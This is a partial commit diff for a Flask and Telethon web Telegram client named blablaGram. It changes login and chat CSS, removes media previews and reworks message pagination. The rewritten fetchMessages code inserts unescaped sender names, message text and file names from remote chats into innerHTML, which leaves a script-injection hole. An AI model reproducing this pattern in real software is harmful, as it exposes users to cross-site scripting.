Update app.py

app.py

@@ -10,7 +10,7 @@ from telethon.sync import TelegramClient
 from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
 from telethon.tl.functions.messages import ImportChatInviteRequest
 from telethon.tl.functions.channels import JoinChannelRequest
-from telethon.tl.types import User, Chat, Channel, MessageMediaPhoto, MessageMediaDocument
+from telethon.tl.types import User, Chat, Channel
 
 app = Flask(__name__)
 
@@ -22,6 +22,7 @@ PORT = 7860
 SESSION_DIR = 'sessions'
 DOWNLOAD_DIR = 'downloads'
 DB_PATH = 'users.db'
+MESSAGES_PER_PAGE = 30
 
 os.makedirs(SESSION_DIR, exist_ok=True)
 os.makedirs(DOWNLOAD_DIR, exist_ok=True)
@@ -66,42 +67,19 @@ LOGIN_TEMPLATE = '''
     <title>blablaGram - Login</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        :root {
-            --primary-blue: #2AABEE;
-            --secondary-blue: #1C91D0;
-            --background-light: #F0F2F5;
-            --background-card: #FFFFFF;
-            --border-light: #E0E0E0;
-            --text-dark: #333;
-            --text-medium: #666;
-            --text-light: #888;
-            --success-bg: #E6FFF1;
-            --success-text: #159C66;
-            --error-bg: #FFEBEE;
-            --error-text: #C9302C;
-            --info-bg: #EBF8FF;
-            --info-text: #2AABEE;
-        }
-        body { font-family: 'Inter', sans-serif; background: var(--background-light); color: var(--text-dark); margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
-        .container { background: var(--background-card); padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 420px; width: 90%; text-align: center; }
-        h1 { color: var(--primary-blue); margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
-        input[type="text"], input[type="password"] { width: calc(100% - 28px); padding: 14px; margin: 12px 0; border: 1px solid var(--border-light); border-radius: 10px; background: #FDFDFD; color: var(--text-dark); font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
-        input[type="text"]:focus, input[type="password"]:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
-        button { background: var(--primary-blue); color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(42, 171, 238, 0.2); }
-        button:hover { background: var(--secondary-blue); transform: translateY(-2px); box-shadow: 0 6px 12px rgba(42, 171, 238, 0.3); }
-        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(42, 171, 238, 0.2); }
-        .message { margin-top: 25px; padding: 18px; border-radius: 10px; font-size: 0.95em; line-height: 1.5; text-align: left; }
-        .message.success { background: var(--success-bg); color: var(--success-text); border: 1px solid var(--success-text); }
-        .message.error { background: var(--error-bg); color: var(--error-text); border: 1px solid var(--error-text); }
-        .message.info { background: var(--info-bg); color: var(--info-text); border: 1px solid var(--info-text); }
+        body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
+        .container { background: #FFFFFF; padding: 40px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.1); max-width: 440px; width: 90%; text-align: center; }
+        h1 { color: #2AABEE; margin-bottom: 30px; font-size: 3em; font-weight: 700; letter-spacing: -0.8px; }
+        input[type="text"], input[type="password"] { width: calc(100% - 30px); padding: 15px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 10px; background: #F9F9F9; color: #333; font-size: 1.1em; transition: border-color 0.3s, box-shadow 0.3s; }
+        input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 4px rgba(42, 171, 238, 0.2); outline: none; }
+        button { background: #2AABEE; color: #fff; padding: 15px 30px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.15em; font-weight: bold; margin-top: 25px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; box-shadow: 0 4px 10px rgba(0,0,0,0.1); }
+        button:hover { background: #1C91D0; transform: translateY(-2px); box-shadow: 0 6px 15px rgba(0,0,0,0.15); }
+        button:active { transform: translateY(0); box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+        .message { margin-top: 30px; padding: 18px; border-radius: 10px; font-size: 1em; line-height: 1.5; font-weight: 500; }
+        .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
+        .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
+        .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
         .hidden { display: none; }
-        @media (max-width: 600px) {
-            .container { padding: 30px 20px; border-radius: 10px; }
-            h1 { font-size: 2.5em; margin-bottom: 25px; }
-            input[type="text"], input[type="password"] { padding: 12px; font-size: 1em; }
-            button { padding: 14px 25px; font-size: 1em; margin-top: 20px; }
-            .message { padding: 15px; font-size: 0.9em; }
-        }
     </style>
 </head>
 <body>
@@ -158,11 +136,6 @@ LOGIN_TEMPLATE = '''
                 }
             } else {
                 showMessage('Login failed: ' + result.message, 'error');
-                if (result.message.includes("phone number format is invalid")) {
-                    showMessage('Login failed: Please ensure the phone number is in international format (e.g., +1234567890) and try again.', 'error');
-                } else if (result.message.includes("seconds")) {
-                     showMessage(result.message, 'error');
-                }
             }
         }
 
@@ -227,94 +200,81 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <title>blablaGram</title>
     <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
     <style>
-        :root {
-            --primary-blue: #2AABEE;
-            --secondary-blue: #1C91D0;
-            --background-light: #F0F2F5;
-            --background-card: #FFFFFF;
-            --border-light: #E0E0E0;
-            --text-dark: #333;
-            --text-medium: #666;
-            --text-light: #888;
-            --msg-sent-bg: #DCF8C6;
-            --msg-received-bg: #FFFFFF;
-            --button-danger: #DC3545;
-            --button-danger-hover: #C82333;
-            --button-secondary: #6C757D;
-            --button-secondary-hover: #5A6268;
-            --button-success: #28A745;
-            --button-success-hover: #218838;
-        }
-        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', sans-serif; background: var(--background-light); overflow: hidden; }
+        body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
         .app-layout { display: flex; height: 100vh; width: 100%; }
-        .sidebar { flex: 0 0 340px; background: var(--background-card); border-right: 1px solid var(--border-light); display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
-        .sidebar-header { padding: 15px 20px; border-bottom: 1px solid var(--border-light); display: flex; align-items: center; justify-content: space-between; }
-        .sidebar-header h2 { margin: 0; font-size: 1.6em; color: var(--primary-blue); font-weight: 700; letter-spacing: -0.5px; }
-        .sidebar-header .actions button { background: none; border: none; font-size: 1.6em; cursor: pointer; color: var(--primary-blue); padding: 5px 10px; border-radius: 8px; transition: background-color 0.2s; }
+        .sidebar { flex: 0 0 360px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; position: relative; z-index: 10; }
+        .sidebar-header { padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
+        .sidebar-header h2 { margin: 0; font-size: 1.8em; color: #2AABEE; font-weight: 700; letter-spacing: -0.5px; }
+        .sidebar-header .actions button { background: none; border: none; font-size: 1.8em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 8px; transition: background-color 0.2s; }
         .sidebar-header .actions button:hover { background-color: #E6F3FC; }
-        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
-        .chat-item { display: flex; align-items: center; padding: 14px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s, color 0.2s; }
+        .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; padding-bottom: 10px; }
+        .chat-item { display: flex; align-items: center; padding: 15px 25px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s; }
         .chat-item:hover { background-color: #F8F8F8; }
-        .chat-item.active { background-color: #E6F3FC; color: var(--primary-blue); }
-        .avatar-placeholder { width: 50px; height: 50px; border-radius: 50%; background-color: var(--primary-blue); color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
+        .chat-item.active { background-color: #E6F3FC; }
+        .avatar-placeholder { width: 52px; height: 52px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.8em; font-weight: 600; margin-right: 18px; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
         .chat-info { flex: 1; overflow: hidden; }
-        .chat-info h3 { margin: 0 0 4px; font-size: 1.1em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: var(--text-dark); }
-        .chat-item.active .chat-info h3 { color: var(--primary-blue); }
-        .chat-info p { margin: 0; font-size: 0.88em; color: var(--text-medium); white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
+        .chat-info h3 { margin: 0 0 6px; font-size: 1.15em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
+        .chat-item.active .chat-info h3 { color: #2AABEE; }
+        .chat-info p { margin: 0; font-size: 0.9em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
         
         .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
-        .chat-panel-header { background: var(--background-card); padding: 15px 25px; border-bottom: 1px solid var(--border-light); display: flex; justify-content: space-between; align-items: center; }
-        .chat-panel-header h2 { margin: 0; font-size: 1.3em; font-weight: 600; color: var(--text-dark); }
-        .chat-panel-header .header-actions button { background: var(--primary-blue); color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
-        .chat-panel-header .header-actions button:hover { background: var(--secondary-blue); transform: translateY(-1px); box-shadow: 0 4px 8px rgba(0,0,0,0.15); }
-        .chat-panel-header .header-actions button:active { transform: translateY(0); box-shadow: 0 1px 3px rgba(0,0,0,0.1); }
-        .chat-panel-header .header-actions .switch-account { background: var(--button-secondary); margin-left: 10px; }
-        .chat-panel-header .header-actions .switch-account:hover { background: var(--button-secondary-hover); }
-        .chat-panel-header .header-actions .logout-btn { background: var(--button-danger); margin-left: 10px; }
-        .chat-panel-header .header-actions .logout-btn:hover { background: var(--button-danger-hover); }
+        .chat-panel-header { background: #FFFFFF; padding: 18px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; box-shadow: 0 2px 5px rgba(0,0,0,0.05); }
+        .chat-panel-header h2 { margin: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; }
+        .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 10px 18px; border-radius: 8px; cursor: pointer; font-size: 0.95em; font-weight: 500; transition: background 0.2s, transform 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+        .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
+        .chat-panel-header .header-actions button:active { transform: translateY(0); }
+        .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
+        .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
         
         .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
-        .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
-        .message-item.sent { background: var(--msg-sent-bg); align-self: flex-end; border-bottom-right-radius: 4px; }
-        .message-item.received { background: var(--msg-received-bg); align-self: flex-start; border-bottom-left-radius: 4px;}
-        .message-sender { font-weight: 600; color: var(--primary-blue); margin-bottom: 4px; display: block; font-size: 0.9em; }
-        .message-text { color: var(--text-dark); }
-        .message-meta { font-size: 0.75em; color: var(--text-light); margin-top: 5px; text-align: right; }
-        .media-link, .media-preview { display: block; margin-top: 8px; border-radius: 8px; overflow: hidden; }
-        .media-link { color: var(--primary-blue); text-decoration: none; font-weight: 500; word-break: break-all; }
+        .load-more-button { padding: 10px 15px; background: #6C757D; color: white; border: none; border-radius: 8px; cursor: pointer; margin-top: 10px; align-self: center; font-size: 0.9em; transition: background 0.2s; }
+        .load-more-button:hover { background: #5A6268; }
+        .message-item { max-width: 75%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.45; word-wrap: break-word; font-size: 0.98em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
+        .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
+        .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 6px;}
+        .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
+        .message-text { color: #111; }
+        .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
+        .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
         .media-link:hover { text-decoration: underline; }
-        .media-preview img, .media-preview video { max-width: 100%; height: auto; display: block; }
-        .load-more-btn { background: var(--button-secondary); color: white; padding: 8px 15px; border: none; border-radius: 6px; cursor: pointer; margin: 10px auto; display: block; transition: background 0.2s; }
-        .load-more-btn:hover { background: var(--button-secondary-hover); }
-
-        .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid var(--border-light); display: flex; align-items: flex-end; gap: 10px; }
-        .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid var(--border-light); border-radius: 20px; background: var(--background-card); resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
-        .chat-input-area textarea:focus { border-color: var(--primary-blue); box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
-        .chat-input-area button { background: var(--primary-blue); color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
-        .chat-input-area button:hover { background: var(--secondary-blue); transform: translateY(-1px); }
+        
+        .chat-input-area { background: #FFFFFF; padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 12px; box-shadow: 0 -2px 5px rgba(0,0,0,0.03); }
+        .chat-input-area textarea { flex: 1; padding: 14px 18px; border: 1px solid #E0E0E0; border-radius: 24px; background: #F9F9F9; resize: none; overflow-y: auto; max-height: 120px; font-size: 1.05em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
+        .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
+        .chat-input-area button { background: #2AABEE; color: #fff; width: 48px; height: 48px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.6em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+        .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
         .chat-input-area button:active { transform: translateY(0); }
         
-        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: var(--text-medium); font-size: 1.2em; text-align: center; }
-        .join-chat-section { padding: 15px 20px; border-top: 1px solid var(--border-light); display: flex; gap: 10px; background-color: var(--background-card); }
-        .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid var(--border-light); border-radius: 8px; font-size: 0.95em; }
-        .join-chat-section button { background: var(--button-success); color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
-        .join-chat-section button:hover { background: var(--button-success-hover); }
+        .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.4em; text-align: center; }
+        .join-chat-section { padding: 15px 25px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
+        .join-chat-section input { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 10px; font-size: 1em; }
+        .join-chat-section button { background: #28A745; color: white; padding: 0 20px; border: none; border-radius: 10px; cursor: pointer; font-weight: 500; transition: background 0.2s; box-shadow: 0 2px 5px rgba(0,0,0,0.1); }
+        .join-chat-section button:hover { background: #218838; }
+
+        .sidebar-toggle-button.mobile { display: none; }
 
         @media (max-width: 768px) {
             .app-layout { flex-direction: column; }
-            .sidebar { flex: 0 0 auto; width: 100%; height: 100%; border-right: none; border-bottom: 1px solid var(--border-light); position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); }
+            .sidebar { 
+                flex: 0 0 auto; 
+                width: 100%; 
+                height: 100vh; 
+                position: fixed; 
+                top: 0; 
+                left: 0; 
+                transform: translateX(-100%); 
+                box-shadow: 2px 0 10px rgba(0,0,0,0.1);
+            }
             .sidebar.active { transform: translateX(0); }
-            .chat-panel { width: 100%; height: 100vh; position: relative; }
-            .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.8em; color: var(--primary-blue); cursor: pointer; padding: 0 10px; }
+            .chat-panel { width: 100%; height: 100vh; }
+
+            .sidebar-toggle-button.mobile { display: block; background: none; border: none; font-size: 1.8em; color: #2AABEE; cursor: pointer; padding: 0; margin-right: 15px; }
             .sidebar-header .actions { display: flex; align-items: center; }
             .chat-panel-header { padding: 15px 15px; }
             .chat-panel-header h2 { font-size: 1.2em; }
             .chat-input-area { padding: 10px 15px; }
             .message-item { max-width: 85%; }
-            .sidebar-toggle-button.back-arrow { font-size: 2em; margin-right: 10px; }
-        }
-        @media (min-width: 769px) {
-            .sidebar-toggle-button { display: none; }
+            .sidebar-header h2 { font-size: 1.5em; }
         }
     </style>
 </head>
@@ -322,7 +282,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
     <div class="app-layout">
         <div class="sidebar" id="sidebar">
             <div class="sidebar-header">
-                <button class="sidebar-toggle-button" onclick="toggleSidebar()">☰</button>
+                <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">☰</button>
                 <h2>blablaGram</h2>
                 <div class="actions">
                     <button onclick="newMessage()" title="New Message">✎</button>
@@ -336,20 +296,20 @@ BLABLAGRAM_APP_TEMPLATE = '''
         </div>
         <div class="chat-panel" id="chatPanel">
             <div class="chat-panel-header" id="appHeader">
-                <button class="sidebar-toggle-button back-arrow" onclick="toggleSidebar()">←</button>
+                <button class="sidebar-toggle-button mobile" onclick="toggleSidebar()">←</button>
                 <div id="chat-header-info">
                     <h2 id="chatTitle" style="display:none;"></h2>
                 </div>
                 <div class="header-actions">
                      <button onclick="logout(true)" class="switch-account">Switch Account</button>
-                     <button onclick="logout(false)" class="logout-btn">Logout</button>
+                     <button onclick="logout(false)">Logout</button>
                 </div>
             </div>
             <div class="no-chat-selected" id="noChatSelected">
                 Select a chat to start messaging
             </div>
             <div class="messages-container" id="messagesContainer" style="display:none;">
-                <button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>
+                <button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>
             </div>
             <div class="chat-input-area" id="chatInputArea" style="display:none;">
                 <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
@@ -362,9 +322,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
 
     <script>
         let currentChatId = null;
-        let lastMessageId = null; 
-        let hasMoreMessages = true;
         let isSidebarOpen = false;
+        let oldestMessageId = null;
+        const messagesPerPage = {{ MESSAGES_PER_PAGE }};
 
         function toggleSidebar() {
             const sidebar = document.getElementById('sidebar');
@@ -407,14 +367,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
                     chatListDiv.appendChild(chatItem);
                 });
             } else {
-                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: var(--text-medium);">${result.message || 'No chats found.'}</p>`;
+                chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #777;">${result.message || 'No chats found.'}</p>`;
             }
         }
 
         async function selectChat(chatId) {
             currentChatId = chatId;
-            lastMessageId = null; 
-            hasMoreMessages = true;
 
             document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
             document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -427,94 +385,78 @@ BLABLAGRAM_APP_TEMPLATE = '''
             document.getElementById('chatTitle').style.display = 'block';
             document.getElementById('messagesContainer').style.display = 'flex';
             document.getElementById('chatInputArea').style.display = 'flex';
-            document.getElementById('messagesContainer').innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>'; 
             
-            await fetchMessages(chatId);
+            oldestMessageId = null; // Reset oldest message ID for new chat
+            await fetchMessages(chatId, false); // Fetch initial messages
             if (window.innerWidth <= 768) {
                 toggleSidebar();
             }
         }
 
-        function displayMessages(messages, prepend = false) {
+        async function fetchMessages(chatId, isLoadMore) {
             const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreBtn');
-
-            messages.forEach(msg => {
-                const messageItem = document.createElement('div');
-                messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
-                
-                let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
-                let mediaHtml = '';
-                if (msg.file_name) {
-                    if (msg.file_type && msg.file_type.startsWith('image')) {
-                        mediaHtml = `<div class="media-preview"><img src="/download/${msg.file_name}" alt="Image"></div>`;
-                    } else if (msg.file_type && msg.file_type.startsWith('video')) {
-                        mediaHtml = `<div class="media-preview"><video controls src="/download/${msg.file_name}"></video></div>`;
-                    } else {
-                        mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
-                    }
-                }
-                
-                let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
-                let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
-                let metaHtml = `<div class="message-meta">${msg.date}</div>`;
-
-                messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
-                
-                if (prepend) {
-                    messagesContainer.insertBefore(messageItem, loadMoreBtn.nextSibling);
-                } else {
-                    messagesContainer.prepend(messageItem);
-                }
-            });
-            if (prepend) {
-                messagesContainer.scrollTop = messagesContainer.scrollHeight - messagesContainer._prevScrollHeight;
+            const loadMoreBtn = document.getElementById('loadMoreMessages');
+            
+            if (!isLoadMore) {
+                messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button><p style="text-align: center; color: #777;">Loading...</p>';
+                oldestMessageId = null;
+                loadMoreBtn.style.display = 'none';
             } else {
-                messagesContainer.scrollTop = messagesContainer.scrollHeight;
+                loadMoreBtn.textContent = 'Loading...';
+                loadMoreBtn.disabled = true;
             }
-        }
-
-        async function fetchMessages(chatId, offsetId = null, limit = 30) {
-            const messagesContainer = document.getElementById('messagesContainer');
-            const loadMoreBtn = document.getElementById('loadMoreBtn');
-            loadMoreBtn.classList.add('hidden'); 
 
-            let url = `/api/chat_messages/${chatId}?limit=${limit}`;
-            if (offsetId) {
-                url += `&offset_id=${offsetId}`;
-            } else {
-                messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button><p style="text-align: center; color: var(--text-medium);">Loading...</p>';
+            let url = `/api/chat_messages/${chatId}?limit=${messagesPerPage}`;
+            if (oldestMessageId) {
+                url += `&max_id=${oldestMessageId}`;
             }
 
             const response = await fetch(url);
             const result = await response.json();
-            
-            if (!offsetId) { messagesContainer.innerHTML = '<button class="load-more-btn hidden" id="loadMoreBtn" onclick="loadMoreMessages()">Load More</button>'; }
+
+            if (!isLoadMore) {
+                 messagesContainer.innerHTML = '<button id="loadMoreMessages" class="load-more-button" style="display:none;" onclick="loadMoreMessages()">Load Older Messages</button>';
+            }
 
             if (result.success && result.messages) {
-                const prevScrollHeight = messagesContainer.scrollHeight;
-                messagesContainer._prevScrollHeight = prevScrollHeight; 
-                
-                displayMessages(result.messages.reverse(), offsetId !== null); 
-                
+                result.messages.reverse().forEach(msg => { // Messages are newest to oldest, reverse to oldest to newest for prepending
+                    const messageItem = document.createElement('div');
+                    messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
+                    
+                    let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
+                    let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
+                    let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
+                    let metaHtml = `<div class="message-meta">${msg.date}</div>`;
+                    let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
+
+                    messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
+                    messagesContainer.appendChild(messageItem); // Append to bottom of list (which is actually top due to column-reverse)
+                });
+
                 if (result.messages.length > 0) {
-                    lastMessageId = result.messages[0].id;
+                    oldestMessageId = result.messages[0].id; // The first message in the reversed list is the oldest one fetched
                 }
-                hasMoreMessages = result.has_more;
-
-                if (hasMoreMessages) {
-                    document.getElementById('loadMoreBtn').classList.remove('hidden');
+                
+                if (result.messages.length < messagesPerPage || !result.has_more) {
+                    loadMoreBtn.style.display = 'none';
                 } else {
-                    document.getElementById('loadMoreBtn').classList.add('hidden');
+                    loadMoreBtn.style.display = 'block';
+                    loadMoreBtn.textContent = 'Load Older Messages';
+                    loadMoreBtn.disabled = false;
+                }
+
+                if (!isLoadMore) {
+                    messagesContainer.scrollTop = messagesContainer.scrollHeight;
                 }
             } else {
-                if (!offsetId) messagesContainer.innerHTML = `<p style="text-align: center; color: var(--text-medium);">${result.message || 'No messages found.'}</p>`;
+                messagesContainer.innerHTML += `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
+                loadMoreBtn.style.display = 'none';
             }
         }
 
-        async function loadMoreMessages() {
-            if (currentChatId && lastMessageId && hasMoreMessages) {
-                await fetchMessages(currentChatId, lastMessageId);
+        function loadMoreMessages() {
+            if (currentChatId && oldestMessageId) {
+                fetchMessages(currentChatId, true);
             }
         }
         
@@ -552,7 +494,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
             });
             const result = await response.json();
             if (result.success) {
-                await fetchMessages(currentChatId);
+                await fetchMessages(currentChatId, false);
             } else {
                 alert('Failed to send message: ' + result.message);
                 messageInput.value = message;
@@ -573,12 +515,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
             formData.append('file', file);
             formData.append('caption', caption);
 
-            messageInput.value = ''; 
-            fileInput.value = ''; 
+            messageInput.value = '';
+            fileInput.value = '';
             adjustTextareaHeight();
             
